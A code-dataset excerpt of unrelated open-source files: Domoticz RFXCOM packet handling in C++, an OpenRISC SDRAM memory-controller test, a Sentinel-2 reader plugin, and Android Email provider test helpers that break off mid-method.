ii++; } return true; } bool CRFXBase::CheckValidRFXData(const uint8_t *pData) { uint8_t pLen = pData[0]; uint8_t pType = pData[1]; if (pLen < 1) return false; switch (pType) { case pTypeInterfaceControl: return (pLen == 0x0D); case pTypeInterfaceMessage: return (pLen == 0x14); case pTypeRecXmitMessage: return (pLen == 0x04); case pTypeUndecoded: return (pLen > 2); case pTypeLighting1: return (pLen == 0x07); case pTypeLighting2: return (pLen == 0x0B); case pTypeLighting3: return (pLen == 0x08); case pTypeLighting4: return (pLen == 0x09); case pTypeLighting5: return (pLen == 0x0A); case pTypeLighting6: return (pLen == 0x0B); case pTypeChime: return (pLen == 0x07); case pTypeFan: return (pLen == 0x08); case pTypeCurtain: return (pLen == 0x07); case pTypeBlinds: return (pLen == 0x09); case pTypeRFY: return (pLen == 0x0C); case pTypeHomeConfort: return (pLen == 0x0C); case pTypeSecurity1: return (pLen == 0x08); case pTypeSecurity2: return (pLen == 0x1C); case pTypeCamera: return (pLen == 0x06); case pTypeRemote: return (pLen == 0x06); case pTypeThermostat1: return (pLen == 0x09); case pTypeThermostat2: return (pLen == 0x06); case pTypeThermostat3: return (pLen == 0x08); case pTypeThermostat4: return (pLen == 0x0C); case pTypeRadiator1: return (pLen == 0x0C); case pTypeBBQ: return (pLen == 0x0A); case pTypeTEMP_RAIN: return (pLen == 0x0A); case pTypeTEMP: return (pLen == 0x08); case pTypeHUM: return (pLen == 0x08); case pTypeTEMP_HUM: return (pLen == 0x0A); case pTypeBARO: return (pLen == 0x09); case pTypeTEMP_HUM_BARO: return (pLen == 0x0D); case pTypeRAIN: return (pLen == 0x0B); case pTypeWIND: return (pLen == 0x10); case pTypeUV: return (pLen == 0x09); case pTypeDT: return (pLen == 0x0D); case pTypeCURRENT: return (pLen == 0x0D); case pTypeENERGY: return (pLen == 0x11); case pTypeCURRENTENERGY: return (pLen == 0x13); case pTypePOWER: return (pLen == 0x0F); case pTypeWEIGHT: return (pLen == 0x08); case pTypeCARTELECTRONIC: return (pLen == 0x15 || pLen == 0x11); case pTypeRFXSensor: return (pLen == 0x07); case pTypeRFXMeter: return (pLen == 0x0A); case pTypeFS20: return (pLen == 0x09); case pTypeASYNCPORT: return (pLen == 0x0B); case pTypeASYNCDATA: return (pLen > 0x03); case pTypeWEATHER: return (pLen == 0x1F); case pTypeSOLAR: return (pLen == 0x0A); default: return false;//unknown Type } return false; } void CRFXBase::SetAsyncType(_eRFXAsyncType const AsyncType) { m_AsyncType = AsyncType; Set_Async_Parameters(m_AsyncType); } void CRFXBase::Set_Async_Parameters(const _eRFXAsyncType AsyncType) { tRBUF cmd; cmd.ASYNCPORT.packetlength = sizeof(cmd.ASYNCPORT) - 1; cmd.ASYNCPORT.packettype = pTypeASYNCPORT; cmd.ASYNCPORT.subtype = sTypeASYNCconfig; cmd.ASYNCPORT.seqnbr = m_SeqNr++; uint8_t baudrate = 0, parity = 0, databits = 0, stopbits = 0, polarity = 0; uint8_t cmnd = asyncdisable; switch (AsyncType) { case ATYPE_P1_DSMR_1: case ATYPE_P1_DSMR_2: case ATYPE_P1_DSMR_3: baudrate = asyncbaud9600; parity = asyncParityEven; databits = asyncDatabits7; stopbits = asyncStopbits1; polarity = asyncPolarityInvers; cmnd = asyncreceiveP1; Log(LOG_STATUS, "Async mode set to: 'DSMR 1/2/3'"); break; case ATYPE_P1_DSMR_4: case ATYPE_P1_DSMR_5: baudrate = asyncbaud115200; parity = asyncParityNo; databits = asyncDatabits8; stopbits = asyncStopbits1; polarity = asyncPolarityInvers; cmnd = asyncreceiveP1; Log(LOG_STATUS, "Async mode set to: 'DSMR 4/5'"); break; case ATYPE_TELEINFO_1200://not handled yet! baudrate = asyncbaud1200; parity = asyncParityEven; databits = asyncDatabits7; stopbits = asyncStopbits1; polarity = asyncPolarityInvers; cmnd = asyncreceiveTeleinfo; Log(LOG_STATUS, "Async mode set to: 'Teleinfo 1200' (not implemented yet!)"); break; case ATYPE_TELEINFO_19200://not handled yet! baudrate = asyncbaud19200; parity = asyncParityEven; databits = asyncDatabits7; stopbits = asyncStopbits1; polarity = asyncPolarityInvers; Log(LOG_STATUS, "Async mode set to: 'Teleinfo 19200' (not implemented yet!)"); break; case ATYPE_DISABLED: Log(LOG_STATUS, "Async Disabled"); break; default: Log(LOG_ERROR, "unknown ASync type received!...."); return; //not handled yet! } cmd.ASYNCPORT.cmnd = cmnd; cmd.ASYNCPORT.baudrate = baudrate; cmd.ASYNCPORT.parity = parity; cmd.ASYNCPORT.databits = databits; cmd.ASYNCPORT.stopbits = stopbits; cmd.ASYNCPORT.polarity = polarity; cmd.ASYNCPORT.filler1 = 0; cmd.ASYNCPORT.filler2 = 0; WriteToHardware((const char*)&cmd, sizeof(cmd.ASYNCPORT)); } void CRFXBase::Parse_Async_Data(const uint8_t *pData, const int Len) { switch (m_AsyncType) { case ATYPE_P1_DSMR_1: case ATYPE_P1_DSMR_2: case ATYPE_P1_DSMR_3: case ATYPE_P1_DSMR_4: case ATYPE_P1_DSMR_5: default: ParseP1Data(pData, Len, false, 0); break; } } void CRFXBase::SendCommand(const unsigned char Cmd) { tRBUF cmd; cmd.ICMND.packetlength = 13; cmd.ICMND.packettype = 0; cmd.ICMND.subtype = 0; cmd.ICMND.seqnbr = m_SeqNr++; cmd.ICMND.cmnd = Cmd; cmd.ICMND.freqsel = 0; cmd.ICMND.xmitpwr = 0; cmd.ICMND.msg3 = 0; cmd.ICMND.msg4 = 0; cmd.ICMND.msg5 = 0; cmd.ICMND.msg6 = 0; cmd.ICMND.msg7 = 0; cmd.ICMND.msg8 = 0; cmd.ICMND.msg9 = 0; WriteToHardware((const char*)&cmd, sizeof(cmd.ICMND)); } bool CRFXBase::SetRFXCOMHardwaremodes(const unsigned char Mode1, const unsigned char Mode2, const unsigned char Mode3, const unsigned char Mode4, const unsigned char Mode5, const unsigned char Mode6) { tRBUF Response; Response.ICMND.packetlength = sizeof(Response.ICMND) - 1; Response.ICMND.packettype = pTypeInterfaceControl; Response.ICMND.subtype = sTypeInterfaceCommand; Response.ICMND.seqnbr = m_SeqNr++; Response.ICMND.cmnd = cmdSETMODE; Response.ICMND.freqsel = Mode1; Response.ICMND.xmitpwr = Mode2; Response.ICMND.msg3 = Mode3; Response.ICMND.msg4 = Mode4; Response.ICMND.msg5 = Mode5; Response.ICMND.msg6 = Mode6; if (!WriteToHardware((const char*)&Response, sizeof(Response.ICMND))) return false; m_mainworker.PushAndWaitRxMessage(this, (const unsigned char *)&Response, NULL, -1); //Save it also SendCommand(cmdSAVE); m_rxbufferpos = 0; return true; } void CRFXBase::SendResetCommand() { std::lock_guard<std::mutex> l(readQueueMutex); m_bEnableReceive = false; m_rxbufferpos = 0; //Send Reset SendCommand(cmdRESET); //wait at least 500ms sleep_milliseconds(500); m_rxbufferpos = 0; m_bEnableReceive = true; SendCommand(cmdStartRec); sleep_milliseconds(50); SendCommand(cmdSTATUS); }
DebugBill/domoticz
hardware/RFXBase.cpp
C++
gpl-3.0
7,846
/* mc_dram.c - Memory Controller testbench dram test Copyright (C) 2001 Ivan Guzvinec Copyright (C) 2010 Embecosm Limited Contributor Ivan Guzvinec <ivang@opencores.org> Contributor Jeremy Bennett <jeremy.bennett@embecosm.com> This file is part of OpenRISC 1000 Architectural Simulator. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http: www.gnu.org/licenses/>. */ /* ---------------------------------------------------------------------------- This code is commented throughout for use with Doxygen. --------------------------------------------------------------------------*/ #include "support.h" #include "mc-common.h" #include "mc-dram.h" #include "config.h" #include "mc-defines.h" #include "gpio.h" #include "fields.h" #define T_ROW_SIZE 8 #define T_ROW_OFF 5 #define T_ROWS 25 #define T_GROUPS 3 typedef volatile unsigned long *REGISTER; /* unsigned long nRowSize = 0; unsigned long nColumns = 0; */ REGISTER mc_poc = (unsigned long*)(MC_BASE + MC_POC); REGISTER mc_csr = (unsigned long*)(MC_BASE + MC_CSR); REGISTER mc_ba_mask = (unsigned long*)(MC_BASE + MC_BA_MASK); REGISTER rgpio_out = (unsigned long*)(GPIO_BASE + RGPIO_OUT); REGISTER rgpio_in = (unsigned long*)(GPIO_BASE + RGPIO_IN); unsigned long lpoc; unsigned char mc_cs; unsigned long set_config() { REGISTER mc_csc; unsigned char ch; for (ch=0; ch<8; ch++) { if (MC_SDRAM_CSMASK & (0x01 << ch) ) { mc_csc = (unsigned long*)(MC_BASE + MC_CSC(ch)); SET_FIELD(*mc_csc, MC_CSC, MS, mc_sdram_cs[ch].MS); SET_FIELD(*mc_csc, MC_CSC, BW, mc_sdram_cs[ch].BW); SET_FIELD(*mc_csc, MC_CSC, SEL, mc_sdram_cs[ch].M); SET_FLAG(*mc_csc, MC_CSC, EN); printf ("Channel Config %d - CSC = 0x%08lX\n", ch, *mc_csc); } } return 0; } unsigned long get_config() { REGISTER mc_csc; REGISTER mc_tms; unsigned char ch; mc_cs = 0; for (ch=0; ch<8; ch++) { mc_csc = (unsigned long*)(MC_BASE + MC_CSC(ch)); mc_tms = (unsigned long*)(MC_BASE + MC_TMS(ch)); (void) mc_tms; if ( (GET_FIELD(*mc_csc, MC_CSC, MEMTYPE) == 0) && (TEST_FLAG(*mc_csc, MC_CSC, EN) == 1 ) ) { mc_sdram_cs[ch].MS = GET_FIELD(*mc_csc, MC_CSC, MS); mc_sdram_cs[ch].BW = GET_FIELD(*mc_csc, MC_CSC, BW); mc_sdram_cs[ch].M = GET_FIELD(*mc_csc, MC_CSC, SEL); mc_cs |= (1 << ch); printf("get_config(%d) : MS=0x%0lx, BW=0x%0lx, M=0x%0lx\n", ch, mc_sdram_cs[ch].MS, mc_sdram_cs[ch].BW, mc_sdram_cs[ch].M); } } printf("get_config() : cs=0x%0x\n", mc_cs); return 0; } int main() { unsigned long ret; unsigned char ch; unsigned long j, i; unsigned long test; unsigned long gpio_pat = 0; unsigned long nRowSize = 0; unsigned long nRows = 0; unsigned long nRowSh = 0; unsigned long nRowGrp = 0; unsigned long nAddress; unsigned long mc_sel; REGISTER mc_tms; REGISTER mc_csc; printf ("Memory controller test with DRAM\n"); *rgpio_out = 0xFFFFFFFF; /* set configuration */ randomin(7435); lpoc = *mc_poc; #ifdef MC_READ_CONF if (get_config()) { printf("Error reading MC configuration\n"); report(0x00000001); return(1); } #else mc_cs = MC_SDRAM_CSMASK; #endif for (ch=0; ch<8; ch++) { if (mc_cs & (0x01 << ch) ) { printf ("--- Begin Test on CS%d ---\n", ch); mc_csc = (unsigned long*)(MC_BASE + MC_CSC(ch)); mc_tms = (unsigned long*)(MC_BASE + MC_TMS(ch)); mc_sel = GET_FIELD(*mc_csc, MC_CSC, SEL); SET_FIELD(*mc_tms, MC_TMS_SDRAM, OM, 0); /*normal op*/ SET_FIELD(*mc_tms, MC_TMS_SDRAM, CL, 3); /*CAS*/ switch ( mc_sdram_cs[ch].BW + (3 * mc_sdram_cs[ch].MS) ) { case 0: case 4: nRowSize = MC_SDRAM_ROWSIZE_0; nRows = MC_SDRAM_ROWS_0; nRowSh = MC_SDRAM_ROWSH_0; break; case 1: case 5: nRowSize = MC_SDRAM_ROWSIZE_1; nRows = MC_SDRAM_ROWS_1; nRowSh = MC_SDRAM_ROWSH_1; break; case 2: nRowSize = MC_SDRAM_ROWSIZE_2; nRows = MC_SDRAM_ROWS_2; nRowSh = MC_SDRAM_ROWSH_2; break; case 3: nRowSize = MC_SDRAM_ROWSIZE_3; nRows = MC_SDRAM_ROWS_3; nRowSh = MC_SDRAM_ROWSH_3; break; case 6: nRowSize = MC_SDRAM_ROWSIZE_6; nRows = MC_SDRAM_ROWS_6; nRowSh = MC_SDRAM_ROWSH_6; break; case 7: nRowSize = MC_SDRAM_ROWSIZE_7; nRows = MC_SDRAM_ROWS_7; nRowSh = MC_SDRAM_ROWSH_7; break; case 8: nRowSize = MC_SDRAM_ROWSIZE_8; nRows = MC_SDRAM_ROWS_8; nRowSh = MC_SDRAM_ROWSH_8; break; } printf ("CS configuration : CSC - 0x%08lX, TMS - 0x%08lX, rs = %lu, nr = %lu, sh = %lu, sel = %lu\n", *mc_csc, *mc_tms, nRowSize, nRows, nRowSh, mc_sel); /*nRows -= MC_SDRAM_ROW_OFF;*/ for (test=0; test<16; test++) { /* configure MC*/ CLEAR_FLAG(*mc_csc, MC_CSC, PEN); /* no parity */ CLEAR_FLAG(*mc_csc, MC_CSC, KRO); /* close row */ CLEAR_FLAG(*mc_csc, MC_CSC, BAS); /* bank after column */ CLEAR_FLAG(*mc_csc, MC_CSC, WP); /* write enable */ SET_FLAG(*mc_tms, MC_TMS_SDRAM, WBL); /* single loc access */ CLEAR_FLAG(*mc_tms, MC_TMS_SDRAM, BT); /* sequential burst */ SET_FIELD(*mc_tms, MC_TMS_SDRAM, BL, 0); /* 1 */ switch (test) { case 0: if ((MC_SDRAM_TESTS & MC_SDRAM_TEST0) != MC_SDRAM_TEST0) continue; break; case 1: if ((MC_SDRAM_TESTS & MC_SDRAM_TEST1) != MC_SDRAM_TEST1) continue; SET_FLAG(*mc_csc, MC_CSC, PEN); /* parity */ break; case 2: if ((MC_SDRAM_TESTS & MC_SDRAM_TEST2) != MC_SDRAM_TEST2) continue; SET_FLAG(*mc_csc, MC_CSC, KRO); /* keep row */ break; case 3: if ((MC_SDRAM_TESTS & MC_SDRAM_TEST3) != MC_SDRAM_TEST3) continue; SET_FLAG(*mc_csc, MC_CSC, BAS); /* bank after row*/ break; case 4: if ((MC_SDRAM_TESTS & MC_SDRAM_TEST4) != MC_SDRAM_TEST4) continue; SET_FLAG(*mc_csc, MC_CSC, WP); /* RO */ break; case 5: if ((MC_SDRAM_TESTS & MC_SDRAM_TEST5) != MC_SDRAM_TEST5) continue; CLEAR_FLAG(*mc_tms, MC_TMS_SDRAM, WBL); /* burst */ break; case 6: if ((MC_SDRAM_TESTS & MC_SDRAM_TEST6) != MC_SDRAM_TEST6) continue; CLEAR_FLAG(*mc_tms, MC_TMS_SDRAM, WBL); /* burst */ SET_FIELD(*mc_tms, MC_TMS_SDRAM, BL, 1); /* 2 */ break; case 7: if ((MC_SDRAM_TESTS & MC_SDRAM_TEST7) != MC_SDRAM_TEST7) continue; CLEAR_FLAG(*mc_tms, MC_TMS_SDRAM, WBL); /* burst */ SET_FIELD(*mc_tms, MC_TMS_SDRAM, BL, 2); /* 4 */ break; case 8: if ((MC_SDRAM_TESTS & MC_SDRAM_TEST8) != MC_SDRAM_TEST8) continue; CLEAR_FLAG(*mc_tms, MC_TMS_SDRAM, WBL); /* burst */ SET_FIELD(*mc_tms, MC_TMS_SDRAM, BL, 3); /* 8 */ break; case 9: if ((MC_SDRAM_TESTS & MC_SDRAM_TEST9) != MC_SDRAM_TEST9) continue; CLEAR_FLAG(*mc_tms, MC_TMS_SDRAM, WBL); /* burst */ SET_FIELD(*mc_tms, MC_TMS_SDRAM, BL, 7); /* full page */ break; case 10: if ((MC_SDRAM_TESTS & MC_SDRAM_TEST10) != MC_SDRAM_TEST10) continue; CLEAR_FLAG(*mc_tms, MC_TMS_SDRAM, WBL); /* burst */ SET_FLAG(*mc_tms, MC_TMS_SDRAM, BT); /* interleaved burst */ break; case 11: if ((MC_SDRAM_TESTS & MC_SDRAM_TEST11) != MC_SDRAM_TEST11) continue; CLEAR_FLAG(*mc_tms, MC_TMS_SDRAM, WBL); /* burst */ SET_FLAG(*mc_tms, MC_TMS_SDRAM, BT); /* interleaved burst */ SET_FIELD(*mc_tms, MC_TMS_SDRAM, BL, 1); /* 2 */ break; case 12: if ((MC_SDRAM_TESTS & MC_SDRAM_TEST12) != MC_SDRAM_TEST12) continue; CLEAR_FLAG(*mc_tms, MC_TMS_SDRAM, WBL); /* burst */ SET_FLAG(*mc_tms, MC_TMS_SDRAM, BT); /* interleaved burst */ SET_FIELD(*mc_tms, MC_TMS_SDRAM, BL, 2); /* 4 */ break; case 13: if ((MC_SDRAM_TESTS & MC_SDRAM_TEST13) != MC_SDRAM_TEST13) continue; CLEAR_FLAG(*mc_tms, MC_TMS_SDRAM, WBL); /* burst */ SET_FLAG(*mc_tms, MC_TMS_SDRAM, BT); /* interleaved burst */ SET_FIELD(*mc_tms, MC_TMS_SDRAM, BL, 3); /* 8 */ break; case 14: if ((MC_SDRAM_TESTS & MC_SDRAM_TEST14) != MC_SDRAM_TEST14) continue; CLEAR_FLAG(*mc_tms, MC_TMS_SDRAM, WBL); /* burst */ SET_FLAG(*mc_tms, MC_TMS_SDRAM, BT); /* interleaved burst */ SET_FIELD(*mc_tms, MC_TMS_SDRAM, BL, 7); /* fullrow */ break; case 15: if ((MC_SDRAM_TESTS & MC_SDRAM_TEST15) != MC_SDRAM_TEST15) continue; SET_FLAG(*mc_csc, MC_CSC, KRO); /* keep row */ CLEAR_FLAG(*mc_tms, MC_TMS_SDRAM, WBL); /* burst */ SET_FLAG(*mc_tms, MC_TMS_SDRAM, BT); /* interleaved burst */ SET_FIELD(*mc_tms, MC_TMS_SDRAM, BL, 1); /* 2 */ break; } /*switch test*/ printf ("Begin TEST %lu : CSC - 0x%08lX, TMS - 0x%08lX\n", test, *mc_csc, *mc_tms); if (MC_SDRAM_ACC & MC_SDRAM_SROW) { /* perform sequential row access */ printf("Seuential Row\n"); for (j=0; j<T_ROWS; j++) { nAddress = mc_sel << 21; nAddress |= MC_MEM_BASE; nAddress += ( (j + T_ROW_OFF) << nRowSh); gpio_pat ^= 0x00000008; *rgpio_out = gpio_pat; ret = mc_test_row(nAddress, nAddress + T_ROW_SIZE, MC_SDRAM_FLAGS); printf("\trow - %lu: nAddress = 0x%08lX, ret = 0x%08lX\n", j, nAddress, ret); if (ret) { gpio_pat ^= 0x00000080; *rgpio_out = gpio_pat; report(ret); return ret; } } } if (MC_SDRAM_ACC & MC_SDRAM_RROW) { /* perform random row access */ printf("Random Row\n"); for (j=0; j<T_ROWS; j++) { nAddress = mc_sel << 21; nAddress |= MC_MEM_BASE; nAddress += ( (T_ROW_OFF + random(nRows)) << nRowSh); gpio_pat ^= 0x00000008; *rgpio_out = gpio_pat; ret = mc_test_row(nAddress, nAddress + T_ROW_SIZE, MC_SDRAM_FLAGS); printf("\trow - %lu: nAddress = 0x%08lX, ret = 0x%08lX\n", j, nAddress, ret); if (ret) { gpio_pat ^= 0x00000080; *rgpio_out = gpio_pat; report(ret); return ret; } } } if (MC_SDRAM_ACC & MC_SDRAM_SGRP) { /* perform sequential row in group access */ printf("Sequential Group "); printf("Group Size = %d\n", MC_SDRAM_GROUPSIZE); for (i=0; i<T_GROUPS; i++) { nRowGrp = random(nRows - MC_SDRAM_GROUPSIZE) + T_ROW_OFF; for (j=0; j<MC_SDRAM_GROUPSIZE; j++) { nAddress = mc_sel << 21; nAddress |= MC_MEM_BASE; nAddress += ((nRowGrp+j) << nRowSh); gpio_pat ^= 0x00000008; *rgpio_out = gpio_pat; ret = mc_test_row(nAddress, nAddress + T_ROW_SIZE, MC_SDRAM_FLAGS); printf("\trow - %lu: nAddress = 0x%08lX, ret = 0x%08lX\n", j, nAddress, ret); if (ret) { gpio_pat ^= 0x00000080; *rgpio_out = gpio_pat; report(ret); return ret; } } } } if (MC_SDRAM_ACC & MC_SDRAM_RGRP) { /* perform random row in group access */ printf("Random Group "); printf("Group Size = %d\n", MC_SDRAM_GROUPSIZE); for (i=0; i<T_GROUPS; i++) { nRowGrp = random(nRows - T_GROUPS) + T_ROW_OFF; for (j=0; j<MC_SDRAM_GROUPSIZE; j++) { nAddress = mc_sel << 21; nAddress |= MC_MEM_BASE; nAddress += ((nRowGrp + random(MC_SDRAM_GROUPSIZE)) << nRowSh); gpio_pat ^= 0x00000008; *rgpio_out = gpio_pat; ret = mc_test_row(nAddress, nAddress + T_ROW_SIZE, MC_SDRAM_FLAGS); printf("\trow - %lu: nAddress = 0x%08lX, ret = 0x%08lX\n", j, nAddress, ret); if (ret) { gpio_pat ^= 0x00000080; *rgpio_out = gpio_pat; report(ret); return ret; } } } } /*for groups*/ } /*for test*/ } /*if*/ } /*for CS*/ printf("--- End SDRAM tests ---\n"); report(0xDEADDEAD); gpio_pat ^= 0x00000020; *rgpio_out = gpio_pat; return 0; } /* main */
8l/or1ksim
testsuite/test-code-or1k/mc-dram/mc-dram.c
C
gpl-3.0
12,404
/* * Copyright (C) 2014-2015 CS-SI (foss-contact@thor.si.c-s.fr) * Copyright (C) 2013-2015 Brockmann Consult GmbH (info@brockmann-consult.de) * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the Free * Software Foundation; either version 3 of the License, or (at your option) * any later version. * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for * more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, see http://www.gnu.org/licenses/ */ package org.esa.s2tbx.dataio.s2.ortho.plugins; import org.esa.s2tbx.dataio.s2.ortho.S2OrthoProductReaderPlugIn; /** * Reader plugin for S2 MSI L1C over WGS84 / UTM Zone 17 N */ public class Sentinel2L1CProduct_Multi_UTM17N_ReaderPlugIn extends S2OrthoProductReaderPlugIn { @Override public String getEPSG() { return "EPSG:32617"; } }
obarrilero/s2tbx
s2tbx-s2msi-reader/src/main/java/org/esa/s2tbx/dataio/s2/ortho/plugins/Sentinel2L1CProduct_Multi_UTM17N_ReaderPlugIn.java
Java
gpl-3.0
1,151
/* * Copyright (C) 2009 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.android.email.provider; import com.android.emailcommon.internet.Rfc822Output; import com.android.emailcommon.provider.Account; import com.android.emailcommon.provider.EmailContent; import com.android.emailcommon.provider.EmailContent.Attachment; import com.android.emailcommon.provider.EmailContent.Body; import com.android.emailcommon.provider.EmailContent.Message; import com.android.emailcommon.provider.HostAuth; import com.android.emailcommon.provider.Mailbox; import com.android.emailcommon.utility.Utility; import android.content.ContentUris; import android.content.Context; import android.net.Uri; import android.test.MoreAsserts; import java.io.File; import java.io.FileOutputStream; import junit.framework.Assert; public class ProviderTestUtils extends Assert { /** * No constructor - statics only */ private ProviderTestUtils() { } /** * Create an account for test purposes */ public static Account setupAccount(String name, boolean saveIt, Context context) { Account account = new Account(); account.mDisplayName = name; account.mEmailAddress = name + "@android.com"; account.mSyncKey = "sync-key-" + name; account.mSyncLookback = 1; account.mSyncInterval = Account.CHECK_INTERVAL_NEVER; account.mHostAuthKeyRecv = 0; account.mHostAuthKeySend = 0; account.mFlags = 4; account.mSenderName = name; account.mProtocolVersion = "2.5" + name; account.mPolicyKey = 0; account.mSecuritySyncKey = "sec-sync-key-" + name; account.mSignature = "signature-" + name; if (saveIt) { account.save(context); } return account; } /** * Lightweight way of deleting an account for testing. */ public static void deleteAccount(Context context, long accountId) { context.getContentResolver().delete(ContentUris.withAppendedId( Account.CONTENT_URI, accountId), null, null); } /** * Create a hostauth record for test purposes */ public static HostAuth setupHostAuth(String name, long accountId, boolean saveIt, Context context) { return setupHostAuth("protocol", name, saveIt, context); } /** * Create a hostauth record for test purposes */ public static HostAuth setupHostAuth(String protocol, String name, boolean saveIt, Context context) { HostAuth hostAuth = new HostAuth(); hostAuth.mProtocol = protocol; hostAuth.mAddress = "address-" + name; hostAuth.mPort = 100; hostAuth.mFlags = 200; hostAuth.mLogin = "login-" + name; hostAuth.mPassword = "password-" + name; hostAuth.mDomain = "domain-" + name; if (saveIt) { hostAuth.save(context); } return hostAuth; } /** * Create a mailbox for test purposes */ public static Mailbox setupMailbox(String name, long accountId, boolean saveIt, Context context) { return setupMailbox(name, accountId, saveIt, context, Mailbox.TYPE_MAIL); } public static Mailbox setupMailbox(String name, long accountId, boolean saveIt, Context context, int type) { return setupMailbox(name, accountId, saveIt, context, type, '/'); } public static Mailbox setupMailbox(String name, long accountId, boolean saveIt, Context context, int type, char delimiter) { Mailbox box = new Mailbox(); int delimiterIndex = name.lastIndexOf(delimiter); String displayName = name; if (delimiterIndex > 0) { displayName = name.substring(delimiterIndex + 1); } box.mDisplayName = displayName; box.mServerId = name; box.mParentServerId = "parent-serverid-" + name; box.mParentKey = 4; box.mAccountKey = accountId; box.mType = type; box.mDelimiter = delimiter; box.mSyncKey = "sync-key-" + name; box.mSyncLookback = 2; box.mSyncInterval = Account.CHECK_INTERVAL_NEVER; box.mSyncTime = 3; box.mFlagVisible = true; box.mFlags = 5; if (saveIt) { box.save(context); } return box; } /** * Create a message for test purposes */ public static Message setupMessage(String name, long accountId, long mailboxId, boolean addBody, boolean saveIt, Context context) { // Default starred, read, (backword compatibility) return setupMessage(name, accountId, mailboxId, addBody, saveIt, context, true, true); } /** * Create a message for test purposes */ public static Message setupMessage(String name, long accountId, long mailboxId, boolean addBody, boolean saveIt, Context context, boolean starred, boolean read) { Message message = new Message(); message.mDisplayName = name; message.mTimeStamp = 100 + name.length(); message.mSubject = "subject " + name; message.mFlagRead = read; message.mFlagSeen = read; message.mFlagLoaded = Message.FLAG_LOADED_UNLOADED; message.mFlagFavorite = starred; message.mFlagAttachment = true; message.mFlags = 0; message.mServerId = "serverid " + name; message.mServerTimeStamp = 300 + name.length(); message.mMessageId = "messageid " + name; message.mMailboxKey = mailboxId; message.mAccountKey = accountId; message.mFrom = "from " + name; message.mTo = "to " + name; message.mCc = "cc " + name; message.mBcc = "bcc " + name; message.mReplyTo = "replyto " + name; message.mMeetingInfo = "123" + accountId + mailboxId + name.length(); if (addBody) { message.mText = "body text " + name; message.mHtml = "body html " + name; message.mSourceKey = 400 + name.length(); } if (saveIt) { message.save(context); } return message; } /** * Create a test body * * @param messageId the message this body belongs to * @param textContent the plain text for the body * @param htmlContent the html text for the body * @param saveIt if true, write the new attachment directly to the DB * @param context use this context */ public static Body setupBody(long messageId, String textContent, String htmlContent, boolean saveIt, Context context) { Body body = new Body(); body.mMessageKey = messageId; body.mHtmlContent = htmlContent; body.mTextContent = textContent; body.mSourceKey = messageId + 0x1000; if (saveIt) { body.save(context); } return body; } /** * Create a test attachment. A few fields are specified by params, and all other fields * are generated using pseudo-unique values. * * @param messageId the message to attach to * @param fileName the "file" to indicate in the attachment * @param length the "length" of the attachment * @param flags the flags to set in the attachment * @param saveIt if true, write the new attachment directly to the DB * @param context use this context */ public static Attachment setupAttachment(long messageId, String fileName, long length, int flags, boolean saveIt, Context context) { Attachment att = new Attachment(); att.mSize = length; att.mFileName = fileName; att.mContentId = "contentId " + fileName; att.setContentUri("contentUri " + fileName); att.mMessageKey = messageId; att.mMimeType = "mimeType " + fileName; att.mLocation = "location " + fileName; att.mEncoding = "encoding " + fileName; att.mContent = "content " + fileName; att.mFlags = flags; att.mContentBytes = Utility.toUtf8("content " + fileName); att.mAccountKey = messageId + 0x1000; if (saveIt) { att.save(context); } return att; } /** * Create a test attachment with flags = 0 (see above) * * @param messageId the message to attach to * @param fileName the "file" to indicate in the attachment * @param length the "length" of the attachment * @param saveIt if true, write the new attachment directly to the DB * @param context use this context */ public static Attachment setupAttachment(long messageId, String fileName, long length, boolean saveIt, Context context) { return setupAttachment(messageId, fileName, length, 0, saveIt, context); } private static void assertEmailContentEqual(String caller, EmailContent expect, EmailContent actual) { if (expect == actual) { return; } assertEquals(caller + " mId", expect.mId, actual.mId); assertEquals(caller + " mBaseUri", expect.mBaseUri, actual.mBaseUri); } /** * Compare two accounts for equality * * TODO: check host auth? */ public static void assertAccountEqual(String caller, Account expect, Account actual) { if (expect == actual) { return; } assertEmailContentEqual(caller, expect, actual); assertEquals(caller + " mDisplayName", expect.mDisplayName, actual.mDisplayName); assertEquals(caller + " mEmailAddress", expect.mEmailAddress, actual.mEmailAddress); assertEquals(caller + " mSyncKey", expect.mSyncKey, actual.mSyncKey); assertEquals(caller + " mSyncLookback", expect.mSyncLookback, actual.mSyncLookback); assertEquals(caller + " mSyncInterval", expect.mSyncInterval, actual.mSyncInterval); assertEquals(caller + " mHostAuthKeyRecv", expect.mHostAuthKeyRecv, actual.mHostAuthKeyRecv); assertEquals(caller + " mHostAuthKeySend", expect.mHostAuthKeySend, actual.mHostAuthKeySend); assertEquals(caller + " mFlags", expect.mFlags, actual.mFlags); assertEquals(caller + " mSenderName", expect.mSenderName, actual.mSenderName); assertEquals(caller + " mProtocolVersion", expect.mProtocolVersion, actual.mProtocolVersion); assertEquals(caller + " mSecuritySyncKey", expect.mSecuritySyncKey, actual.mSecuritySyncKey); assertEquals(caller + " mSignature", expect.mSignature, actual.mSignature); assertEquals(caller + " mPolicyKey", expect.mPolicyKey, actual.mPolicyKey); assertEquals(caller + " mPingDuration", expect.mPingDuration, actual.mPingDuration); } /** * Compare two hostauth records for equality */ public static void assertHostAuthEqual(String caller, HostAuth expect, HostAuth actual) { assertHostAuthEqual(caller, expect, actual, true); } public static void assertHostAuthEqual(String caller, HostAuth expect, HostAuth actual, boolean testEmailContent) { if (expect == actual) { return; } if (testEmailContent) { assertEmailContentEqual(caller, expect, actual); } assertEquals(caller + " mProtocol", expect.mProtocol, actual.mProtocol); assertEquals(caller + " mAddress", expect.mAddress, actual.mAddress); assertEquals(caller + " mPort", expect.mPort, actual.mPort); assertEquals(caller + " mFlags", expect.mFlags, actual.mFlags); 